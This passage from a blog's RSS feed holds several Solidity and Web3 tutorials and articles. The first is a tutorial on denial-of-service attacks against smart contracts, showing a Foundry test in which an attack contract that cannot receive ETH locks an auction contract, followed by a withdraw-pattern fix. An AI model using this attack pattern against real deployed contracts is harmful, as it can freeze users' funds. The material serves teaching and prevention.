&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This contract has a function called attack(), that just calls setCurrentAuctionPrice on the Good contract. Note, however, this contract does not have a fallback() function where it can receive ETH. More on this later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Writing the Test&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's create an attack that will cause the Good contract to become unusable. Create a new file under test folder named Attack.t.sol and add the following lines of code to it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Test} from &quot;forge-std/Test.sol&quot;;
import {Attack} from &quot;../src/Attack.sol&quot;;
import {Good} from &quot;../src/Good.sol&quot;;
import {console} from &quot;forge-std/console.sol&quot;;

contract AttackTester is Test {
    //declare a variable for holding instances of our contracts
    Good public goodContract;
    Attack public attackContract;

    function setUp() public {
        // Deploy the Good Contract using a dummy account
        vm.prank(vm.addr(420));
        goodContract = new Good();


        //Deploy the Attack Contract
        attackContract = new Attack(address(goodContract));

    }

    function test_attack() public {

        // Get two addresses using their private keys
        address address1= vm.addr(1);
        address address2= vm.addr(2);

        //add funds to the addresses
        deal(address1, 100 ether);
        deal(address2, 100 ether);


        //Initially let address1 become the current winner of the auction
        //impersonate address1 for sending a transaction to the Good Contract
        vm.prank(address1);
        goodContract.setCurrentAuctionPrice{value: 1 ether}();

        
        
        // Start the attack and make Attack.sol the current winner of the auction
        attackContract.attack{value: 3 ether}();

        // Now let's try making address2 the current winner of the auction
        vm.prank(address2);
        goodContract.setCurrentAuctionPrice{value: 4 ether}();



        // Balance of the Game Contract should be equal 0
        assertEq(goodContract.currentWinner(), address(attackContract));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice how Attack.sol will lead Good.sol into a DOS attack. First address1 will become the current winner by calling setCurrentAuctionPrice on Good.sol then Attack.sol will become the current winner by sending more ETH than address1 using the attack function. Now when address2 will try to become the new winner, it won't be able to do that because of this check(if (sent)) present in the Good.sol contract which verifies that the current winner should only be changed if the ETH is sent back to the previous current winner.&lt;/p&gt;
&lt;p&gt;Since Attack.sol doesn't have a fallback function which is necessary to accept ETH payments, sent is always false and thus the current winner is never updated and address2 can never become the current winner&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test the attack&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To run the test, in your terminal pointing to the root directory of this level execute the following command&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the tests pass, you will notice that the Good.sol is now under DOS attack because after Attack.sol becomes the current winner, on other address can becomes the current winner.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Prevention&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can create a separate withdraw function for the previous winners.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;
    mapping(address =&amp;gt; uint) public balances;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value &amp;gt; currentAuctionPrice, &quot;Need to pay more than the currentAuctionPrice&quot;);
        balances[currentWinner] += currentAuctionPrice;
        currentAuctionPrice = msg.value;
        currentWinner = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != currentWinner, &quot;Current winner cannot withdraw&quot;);

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}(&quot;&quot;);
        require(sent, &quot;Failed to send Ether&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt; Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hope you learnt something from this post. &lt;br&gt;
If you have any questions or feel stuck or just want to say Hi, call me anytime!&lt;/p&gt;
&lt;p&gt;Thanks&lt;/p&gt;
</description>
<category>Web Dev</category>
<guid isPermaLink="true">https://coderlegion.com/3145/executing-denial-of-service-on-smart-contracts</guid>
<pubDate>Sat, 24 May 2025 04:24:29 +0000</pubDate>
</item>
<item>
<title>Build your own basic NFT Contract on Ethereum</title>
<link>https://coderlegion.com/3129/build-your-own-basic-nft-contract-on-ethereum</link>
<description>&lt;p&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Make sure you have MetaMask installed and set up&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Request some Sepolia Testnet ETH from a faucet to work with - Ethereum Sepolia Faucet&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Installing Foundry&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you're on a Mac or are using Linux run this command in your terminal&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -L https://foundry.paradigm.xyz | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you're on Windows, it is recommended that you install wsl and then use the same command. However, if you don't want to install wsl, you'll have to build it from source. Make sure you have the Rust compiler and cargo on your machine. Check if you do by using this command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rustc --version
cargo --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once confirmed, use this command&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cargo install --git https://github.com/foundry-rs/foundry --profile local --locked forge cast chisel anvil
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Setting up Foundry&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To build the smart contract, we will use Foundry this time. It is an Ethereum development environment and framework that allows full-stack Ethereum development on your local computer without relying on browser IDEs such as Remix. It also allows for easier debugging, faster iterations, and writing scripts and tests to go along with your contract code.&lt;/p&gt;
&lt;p&gt;To set up a Foundry project, first create a new folder on your computer - we will name ours NFT-Tutorial - and go to it through your Terminal.&lt;/p&gt;
&lt;p&gt;Once your Terminal is inside NFT-Tutorial, setup a Foundry project using the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge init foundry-app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Installing OpenZeppelin Contracts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;cd into foundry-app and then run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge install OpenZeppelin/openzeppelin-contracts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will fetch Openzeppelin's contracts repository from GitHub and clone it, enabling us to use it in our code.&lt;/p&gt;
&lt;p&gt;When you do this, Hardhat would have looked at the import statement and understood you're trying to import a Solidity file that is not one part of your own project . It would then fetch it from the node_modules/ folder because it expects you to have installed the npm dependency for it.&lt;/p&gt;
&lt;p&gt;In Foundry, this works a bit differently. Since this is not a Node project and doesn't ship with npm - and instead just git clones the repository you need into the lib folder, imports would normally work something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import {ERC20} from &quot;../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this code doesn't look that clean - so we have remappings.&lt;/p&gt;
&lt;p&gt;Remappings are essentially a way to provide an alias to imports - a shorter-way of writing import statements which are aliasing some short-form path to the real path of that dependency.&lt;/p&gt;
&lt;p&gt;To configure them in your project and make sure they're picked up when compiling your code, run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge remappings &amp;gt; remappings.txt 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will take the remappings it has understood, and write them to a remappings.txt file in foundry-app which acts as a configuration file for all your remappings. You can also customize this and add new ones if you need to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Writing the NFT Contract&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With OpenZeppelin Contracts now installed, we can move on to writing our Solidity code.&lt;/p&gt;
&lt;p&gt;Create a new Solidity file - we'll name ours NFTee.sol - inside the src folder of your Foundry project. Write the following code in that file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Import the openzepplin contracts
import &quot;@openzeppelin/contracts/token/ERC721/ERC721.sol&quot;;

// NFTee is  ERC721 signifies that the contract we are creating imports ERC721 and follows ERC721 contract from openzeppelin
contract NFTee is ERC721 {
    constructor() ERC721(&quot;NFTee&quot;, &quot;ITM&quot;) {
        // mint an NFT to yourself
        _mint(msg.sender, 1);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code is fairly straightforward. We import the ERC-721 contract from OpenZeppelin, and then initialize it during the constructor. We also use the internal _mint function to mint an NFT to ourself.&lt;/p&gt;
&lt;p&gt;To make sure you got the code right check if all the files are compiling. First delete the test folder and then, in your terminal, run &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If there are no errors and your contract compiled just fine, you are good to go!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deploying the Contract&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's deploy this contract to the Sepolia Test Network. First, create a .env file inside your foundry-dapp folder and add the&lt;/p&gt;
&lt;p&gt;following lines to it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;QUICKNODE_RPC_URL=&quot;...&quot;
PRIVATE_KEY=&quot;...&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Head over to Quicknode and sign up for an account if you haven't already. Quicknode is a node provider that runs blockchain nodes for various networks and gives you access to them so you don't have to run your own. We will use them to deploy our contract through Foundry by connecting Foundry to their node.&lt;/p&gt;
&lt;p&gt;After creating an account at Quicknode, click on Create an Endpoint, select Ethereum and then select the Sepolia network. Finish this process, and then copy the HTTP Provider link you receive. Update your .env file to have that URL as the value for QUICKNODE_RPC_URL.&lt;/p&gt;
&lt;p&gt;Now, for the private key. When you deploy using Remix, Remix just prompts you to deploy the contract through MetaMask since it operates in the browser. However, since we are running Foundry directly on your computer, we need to give it the private key directly.&lt;/p&gt;
&lt;p&gt;To get your private key, you can export it from MetaMask. To do so, open up MetaMask, click on Account Details for the account you want to export, and click on Export Private Key. Copy-paste the value and put it in your .env file as the value for PRIVATE_KEY.&lt;/p&gt;
&lt;p&gt;Now we'll have to load our environment variables into the terminal's environment.  For doing this, run the following command in your terminal&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;source .env
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command just specifies that the source of the variables we're about to enter is the .env file.&lt;/p&gt;
&lt;p&gt;Finally, to deploy your contract, run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge create --rpc-url $QUICKNODE_RPC_URL --private-key $PRIVATE_KEY src/NFTee.sol:NFTee
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice how variable names are prefixed with $&lt;/p&gt;
&lt;p&gt;This command will output some logs to your console where it will compile your contract and then deploy to the Sepolia Test Network. It will also give you the contract address of the deployed contract.&lt;/p&gt;
&lt;p&gt;Copy the contract address it gives you, and look it up on Sepolia Etherscan - open up the first transaction there and it will show you that a NFT was minted and transfered to your address!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Congratulations!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Awesome! If you got this far, you have probably deployed your first NFT contract to an Ethereum testnet! You also learnt about Foundry and setting it up. &lt;/p&gt;
&lt;p&gt;If you had any trouble, or just want to share your success, message me for help!&lt;/p&gt;
&lt;p&gt;Thanks for reading my post.&lt;br&gt;
Happy coding!&lt;/p&gt;
</description>
<category>Web Dev</category>
<guid isPermaLink="true">https://coderlegion.com/3129/build-your-own-basic-nft-contract-on-ethereum</guid>
<pubDate>Thu, 22 May 2025 20:25:02 +0000</pubDate>
</item>
<item>
<title>Build your own token using ERC-20 tokens</title>
<link>https://coderlegion.com/3108/build-your-own-token-using-erc-20-tokens</link>
<description>&lt;p&gt;&lt;strong&gt;What is ERC-20?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ERC stands for Ethereum Request for Comment. Essentially, they are standards that have been approved by the community and are used to convey technical requirements and specifications for certain use cases.&lt;/p&gt;
&lt;p&gt;ERC-20 specifically is a standard which outlines the technical specification of a fungible token.&lt;/p&gt;
&lt;p&gt;Most tokens on Ethereum comply with the ERC-20 specification. Following a standard like ERC-20 allows application developers which use ERC-20 tokens to easily support all ERC-20 tokens without having to write specialized code for them individually.&lt;/p&gt;
&lt;p&gt;For example, decentralized exchanges like Uniswap allow you to swap any token for any other token. This is only possible because pretty much all tokens follow the ERC-20 standard, so Uniswap could write code which works with all tokens following the standard.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Make sure you have downloaded and installed MetaMask&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Select the Sepolia Testnet network to work with&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Request some Sepolia Testnet ETH from a faucet to work with - Ethereum Sepolia Faucet | Free 0.1 sETH per day | LearnWeb3&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once you have set all of these up, let's get started!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Writing the code&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We are using Remix IDE for writing the smart contract.&lt;/p&gt;
&lt;p&gt;In Remix, create a new contract file, I named mine LW3Token.sol - you can name it whatever you want!&lt;/p&gt;
&lt;p&gt;In the contract, write the following code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import &quot;https://github.com/OpenZeppelin/openzeppelin- 
contracts/blob/master/contracts/token/ERC20/ERC20.sol&quot;;

contract LW3Token is ERC20 {
    constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {
        _mint(msg.sender, 10 * 10 ** 18);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Compiling&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Compile your contract by either pressing Save (CTRL + S on Windows, Command + S on Mac), or by going over to the Compiler tab in Remix, selecting LW3Token.sol, and hitting Compile.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deploying&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Head over to the Deploy and Run Transactions tab in Remix.&lt;/p&gt;
&lt;p&gt;Select the Injected Provider - MetaMask environment (ensure you are on the Sepolia Test Network), and connect your Metamask wallet.&lt;/p&gt;
&lt;p&gt;Select the &lt;em&gt;LW3Token.sol&lt;/em&gt; contract, and enter values for the constructor arguments _name and _symbol.&lt;/p&gt;
&lt;p&gt;Click Transact and approve the transaction from Metamask to deploy your contract!&lt;/p&gt;
&lt;p&gt;When deployed, the contract should show up under the Deployed Contracts section. Click the Copy Address button to copy the contract address.&lt;/p&gt;
&lt;p&gt;Go to Sepolia Etherscan and search for your contract address and you should see it there!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Viewing Tokens in Metamask&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You may notice that even though you minted tokens to your address, they don't show up in Metamask.&lt;/p&gt;
&lt;p&gt;This is because Metamask cannot detect random ERC20 token balances (since there are literally hundreds of thousands of them). They have a list of the most well known ERC20 tokens that they can show automatically, but apart from that, for your own tokens, you will usually need to tell Metamask to add it to your wallet manually.&lt;/p&gt;
&lt;p&gt;To do so:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Copy your contract address&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Open Metamask and click Import Tokens in the Assets tab&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enter your Token Contract Address, and it should detect the name and number of decimals automatically&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click Add, and you will see your balance in Metamask!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Congratulations!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Congratulations! You've successfully deployed and minted your own ERC20 token! Onwards and upwards from here!&lt;/p&gt;
&lt;p&gt;If you ran into any trouble, call me anytime, I will help you!&lt;/p&gt;
&lt;p&gt;Thanks for reading my post. &lt;br&gt;
Happy coding!&lt;/p&gt;
</description>
<category>Web Dev</category>
<guid isPermaLink="true">https://coderlegion.com/3108/build-your-own-token-using-erc-20-tokens</guid>
<pubDate>Tue, 20 May 2025 19:02:44 +0000</pubDate>
</item>
<item>
<title>A Deep Dive into Decentralized Provenance Tracking and Smart Contracts</title>
<link>https://coderlegion.com/1688/a-deep-dive-into-decentralized-provenance-tracking-and-smart-contracts</link>
<description>&lt;p&gt;The global supply chain is a complex web of interconnected processes, often plagued by inefficiencies, lack of transparency, and susceptibility to fraud. While blockchain technology has been touted as a solution, most discussions focus on its application in finance or NFTs. However, Web3 offers a suite of lesser-known services that can revolutionize supply chain management. By combining decentralized provenance tracking, tokenized asset representation, and smart contract automation, businesses can achieve unprecedented levels of transparency, efficiency, and trust.&lt;/p&gt;
&lt;h3 id=&quot;the-problem-opaque-supply-chains-and-counterfeit-goods&quot;&gt;The Problem: Opaque Supply Chains and Counterfeit Goods&lt;/h3&gt;
&lt;p&gt;Consider a luxury fashion brand, Elegance Couture, that sources materials from multiple countries, manufactures products in different regions, and distributes them globally. The brand faces two major challenges:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lack of Transparency&lt;/strong&gt;: Customers and stakeholders cannot verify the authenticity or ethical sourcing of materials.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Inefficient Processes&lt;/strong&gt;: Manual tracking and reconciliation of supply chain data lead to delays and errors.&lt;/p&gt;
&lt;p&gt;Elegance Couture needs a solution that ensures end-to-end transparency, automates supply chain processes, and builds trust with its customers.&lt;/p&gt;
&lt;h3 id=&quot;the-web3-solution-a-triad-of-decentralized-services&quot;&gt;The Web3 Solution: A Triad of Decentralized Services&lt;/h3&gt;
&lt;p&gt;To address these challenges, Elegance Couture can leverage three advanced Web3 services:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Decentralized Provenance Tracking&lt;/strong&gt;&lt;br&gt;
Platforms like OriginTrail or Provenance use blockchain to create immutable records of a product’s journey from raw materials to the end consumer. Each step in the supply chain is logged on a decentralized ledger, ensuring transparency and traceability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tokenized Asset Representation&lt;/strong&gt;&lt;br&gt;
By tokenizing physical assets (e.g., raw materials, finished products) on platforms like Polymath or Harbor, Elegance Couture can create digital twins of its products. These tokens represent ownership, authenticity, and other metadata, enabling seamless tracking and verification.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Smart Contract Automation&lt;/strong&gt;&lt;br&gt;
Smart contracts on networks like Ethereum or Polkadot can automate supply chain processes, such as payments, quality checks, and compliance reporting. These self-executing contracts reduce manual intervention and ensure accuracy.&lt;/p&gt;
&lt;h3 id=&quot;the-process-how-it-all-comes-together&quot;&gt;The Process: How It All Comes Together&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Provenance Tracking&lt;/strong&gt;&lt;br&gt;
Elegance Couture integrates decentralized provenance tracking into its supply chain. Each material supplier logs the origin, quality, and ethical certifications of their products on the blockchain. As the materials move through the supply chain, every transaction and transformation is recorded.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Tokenization of Assets&lt;/strong&gt;&lt;br&gt;
Once the materials are transformed into finished products, Elegance Couture creates tokenized representations of each item. These tokens include details such as the product’s origin, manufacturing process, and authenticity. Customers can scan a QR code to access this information.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Smart Contract Automation&lt;/strong&gt;&lt;br&gt;
Smart contracts are deployed to automate key processes. For example, when a shipment reaches a distributor, a smart contract triggers an automatic payment to the manufacturer. Similarly, quality checks and compliance reports are automatically logged and verified.&lt;/p&gt;
&lt;h3 id=&quot;the-utility-and-benefits&quot;&gt;The Utility and Benefits&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Enhanced Transparency&lt;/strong&gt;: Customers can verify the authenticity and ethical sourcing of products, building trust and loyalty.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fraud Prevention&lt;/strong&gt;: Immutable records on the blockchain make it nearly impossible to introduce counterfeit goods into the supply chain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Operational Efficiency&lt;/strong&gt;: Automation reduces manual errors, speeds up processes, and lowers costs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sustainability&lt;/strong&gt;: Ethical sourcing and transparent practices align with global sustainability goals, enhancing the brand’s reputation.&lt;/p&gt;
&lt;h3 id=&quot;why-choose-web3dev-for-your-supply-chain-transformation-&quot;&gt;Why Choose Web3Dev for Your Supply Chain Transformation?&lt;/h3&gt;
&lt;p&gt;Implementing a Web3-powered supply chain solution requires expertise in blockchain integration, smart contract development, and system interoperability. This is where Web3Dev excels. As a leading Web3 development agency, Web3Dev specializes in creating tailored solutions that leverage decentralized technologies to solve real-world problems. Our team can design and deploy a comprehensive system for provenance tracking, asset tokenization, and process automation, ensuring a seamless and secure experience for businesses like Elegance Couture.&lt;/p&gt;
&lt;p&gt;By partnering with Web3Dev, you’re not just adopting cutting-edge technology, you’re setting a new standard for transparency and efficiency in your industry.&lt;/p&gt;
&lt;p&gt;In conclusion, the combination of decentralized provenance tracking, tokenized asset representation, and smart contract automation represents a game-changing approach to supply chain management. These Web3 services, though less known, hold immense potential to transform industries and build trust in global markets. For businesses ready to embrace this future, Web3Dev is the ideal partner to guide you through the complexities and unlock the full power of Web3. &lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/1688/a-deep-dive-into-decentralized-provenance-tracking-and-smart-contracts</guid>
<pubDate>Fri, 28 Mar 2025 22:39:54 +0000</pubDate>
</item>
<item>
<title>Revolutionizing Logistics with Web3: A New Era of Transparency, Efficiency, and Trust</title>
<link>https://coderlegion.com/1242/revolutionizing-logistics-with-web3-a-new-era-of-transparency-efficiency-and-trust</link>
<description>&lt;p&gt;The logistics industry is the backbone of global trade, ensuring that goods move seamlessly from manufacturers to consumers. However, it has long been plagued by inefficiencies, lack of transparency, and trust issues. Traditional logistics systems often rely on centralized intermediaries, manual processes, and fragmented data silos, which can lead to delays, errors, and disputes. Enter Web3, the next generation of the internet built on decentralized technologies like blockchain, smart contracts, and decentralized autonomous organizations (DAOs). Web3 has the potential to transform logistics by addressing these pain points and creating a more transparent, efficient, and trustworthy ecosystem.&lt;/p&gt;
&lt;h3 id=&quot;1-decentralization-and-trustless-transactions&quot;&gt;1. Decentralization and Trustless Transactions&lt;/h3&gt;
&lt;p&gt;One of the core principles of Web3 is decentralization, which eliminates the need for intermediaries in transactions. In logistics, this means that shippers, carriers, and customers can interact directly without relying on third-party brokers or freight forwarders. Blockchain technology, a cornerstone of Web3, enables trustless transactions, transactions where parties do not need to trust each other because the system itself ensures integrity.&lt;/p&gt;
&lt;p&gt;For example, when a shipment is initiated, all relevant stakeholders (manufacturers, transporters, customs agents, and customers) can access a shared, immutable ledger that records every step of the process. This reduces the risk of fraud, miscommunication, and disputes, as everyone has access to the same verified information. Smart contracts, self-executing agreements coded on the blockchain, can automatically trigger payments once predefined conditions are met, such as the delivery of goods at a specific location. This not only speeds up the payment process but also reduces the need for costly intermediaries.&lt;/p&gt;
&lt;h3 id=&quot;2-enhanced-transparency-and-traceability&quot;&gt;2. Enhanced Transparency and Traceability&lt;/h3&gt;
&lt;p&gt;Transparency is one of the most significant challenges in logistics. Consumers and businesses alike want to know where their products come from, how they are handled, and when they will arrive. Web3 offers unprecedented levels of traceability through blockchain-based supply chain solutions.&lt;/p&gt;
&lt;p&gt;Each product can be assigned a unique digital identifier (such as an NFT, or non-fungible token) that tracks its journey from origin to destination. This digital twin of the physical product can store information about its manufacturing process, transportation conditions, and even carbon footprint. For instance, a retailer could verify that a batch of organic produce was indeed sourced from a certified farm and transported under appropriate temperature conditions. Similarly, consumers could scan a QR code on a product to view its entire history, fostering trust and brand loyalty.&lt;/p&gt;
&lt;p&gt;This level of transparency is particularly valuable in industries like pharmaceuticals, where maintaining the integrity of sensitive goods (e.g., vaccines) is critical. By leveraging Web3, companies can ensure compliance with regulatory standards and provide irrefutable proof of adherence to quality controls.&lt;/p&gt;
&lt;h3 id=&quot;3-smart-contracts-for-automation-and-efficiency&quot;&gt;3. Smart Contracts for Automation and Efficiency&lt;/h3&gt;
&lt;p&gt;Manual processes and paperwork are still prevalent in logistics, leading to inefficiencies and human error. Web3 introduces smart contracts, which automate many aspects of logistics operations. These programmable contracts execute actions automatically when certain conditions are met, streamlining workflows and reducing administrative overhead.&lt;/p&gt;
&lt;p&gt;Consider a scenario where a container of goods is shipped internationally. A smart contract could be programmed to release payment to the carrier once the container reaches its destination port and passes customs inspection. The contract could also automatically update inventory management systems, notify downstream partners, and generate invoices, all without human intervention. This automation not only saves time but also minimizes the risk of errors and delays.&lt;/p&gt;
&lt;p&gt;Moreover, smart contracts can facilitate dynamic pricing models based on real-time market conditions. For example, during peak shipping seasons, rates could adjust automatically based on demand, ensuring fair compensation for carriers while preventing price gouging.&lt;/p&gt;
&lt;h3 id=&quot;4-decentralized-autonomous-organizations-daos-for-collaboration&quot;&gt;4. Decentralized Autonomous Organizations (DAOs) for Collaboration&lt;/h3&gt;
&lt;p&gt;Logistics involves multiple stakeholders working together across different geographies and jurisdictions. Traditionally, coordination among these parties has been challenging due to conflicting interests and lack of alignment. Web3 introduces Decentralized Autonomous Organizations (DAOs), which allow participants to collaborate in a decentralized and democratic manner.&lt;/p&gt;
&lt;p&gt;A DAO in logistics could consist of manufacturers, carriers, warehouses, and distributors who collectively govern the network using consensus-based decision-making. Members of the DAO would vote on key operational decisions, such as setting service-level agreements, allocating resources, or resolving disputes. Since DAOs operate on blockchain technology, all votes and decisions are transparent and tamper-proof, fostering accountability and fairness.&lt;/p&gt;
&lt;p&gt;For instance, a global logistics DAO could pool resources to optimize routes, share capacity, and reduce costs. Smaller players in the industry, who might otherwise struggle to compete with larger corporations, could benefit from collective bargaining power and shared infrastructure.&lt;/p&gt;
&lt;h3 id=&quot;5-tokenization-and-incentivization&quot;&gt;5. Tokenization and Incentivization&lt;/h3&gt;
&lt;p&gt;Web3 enables the creation of digital tokens that represent value within a logistics ecosystem. These tokens can be used to incentivize good behavior, reward participation, or facilitate micropayments. For example, carriers who consistently deliver on time could earn reputation tokens that enhance their standing in the network. Customers could use these tokens to pay for services, creating a closed-loop economy.&lt;/p&gt;
&lt;p&gt;Additionally, tokenization can unlock new business models, such as fractional ownership of assets. Instead of purchasing an entire fleet of trucks or ships, companies could invest in tokenized shares of vehicles and earn dividends based on usage. This democratizes access to capital and allows smaller players to participate in large-scale logistics projects.&lt;/p&gt;
&lt;h3 id=&quot;6-sustainability-and-carbon-tracking&quot;&gt;6. Sustainability and Carbon Tracking&lt;/h3&gt;
&lt;p&gt;As environmental concerns grow, sustainability has become a top priority for the logistics industry. Web3 provides tools to track and reduce the carbon footprint of supply chains. By integrating IoT devices with blockchain, companies can monitor emissions at every stage of the journey—from factories to warehouses to last-mile delivery.&lt;/p&gt;
&lt;p&gt;For example, sensors attached to vehicles could record fuel consumption and greenhouse gas emissions, which are then stored on the blockchain. Companies could use this data to identify inefficiencies, optimize routes, and implement greener practices. Furthermore, customers could choose eco-friendly shipping options and receive verifiable proof of their contribution to sustainability efforts.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;The integration of Web3 into logistics represents a paradigm shift in how goods are moved around the world. By leveraging decentralization, blockchain, smart contracts, and DAOs, the industry can achieve greater transparency, efficiency, and trust. From automating processes with smart contracts to tracking products with NFTs, Web3 offers innovative solutions to age-old problems.&lt;/p&gt;
&lt;p&gt;While the adoption of Web3 in logistics is still in its early stages, the potential benefits are undeniable. As more companies embrace these technologies, we can expect to see a future where logistics is faster, cheaper, and more sustainable. The road ahead may be complex, but the destination, a truly connected and decentralized logistics ecosystem, is well worth the journey.&lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/1242/revolutionizing-logistics-with-web3-a-new-era-of-transparency-efficiency-and-trust</guid>
<pubDate>Tue, 25 Feb 2025 10:35:42 +0000</pubDate>
</item>
<item>
<title>Securing a Smart Contract Built with Rust for Solana</title>
<link>https://coderlegion.com/1199/securing-a-smart-contract-built-with-rust-for-solana</link>
<description>&lt;p&gt;Smart contracts are the backbone of decentralized applications (dApps) on blockchain platforms like Solana. However, their security is paramount because vulnerabilities in smart contracts can lead to catastrophic financial losses. In this article, we’ll walk you through how to secure a smart contract built with Rust for Solana before minting a new token and deploying it. By following these best practices, you can minimize risks and ensure your project is robust.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why Security Matters in Smart Contracts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before diving into the technical details, let’s briefly discuss why securing your smart contract is crucial:&lt;/p&gt;
&lt;p&gt;Immutable Code: Once deployed, smart contracts cannot be easily modified. Any vulnerabilities present at deployment time will persist unless you have a mechanism for upgrades.&lt;/p&gt;
&lt;p&gt;High Stakes: Smart contracts often handle significant amounts of cryptocurrency or tokens. A single exploit can result in millions of dollars in losses.&lt;/p&gt;
&lt;p&gt;Trustless Environment: Users interact with your smart contract without trusting you personally. They rely on the code being secure and bug-free.&lt;/p&gt;
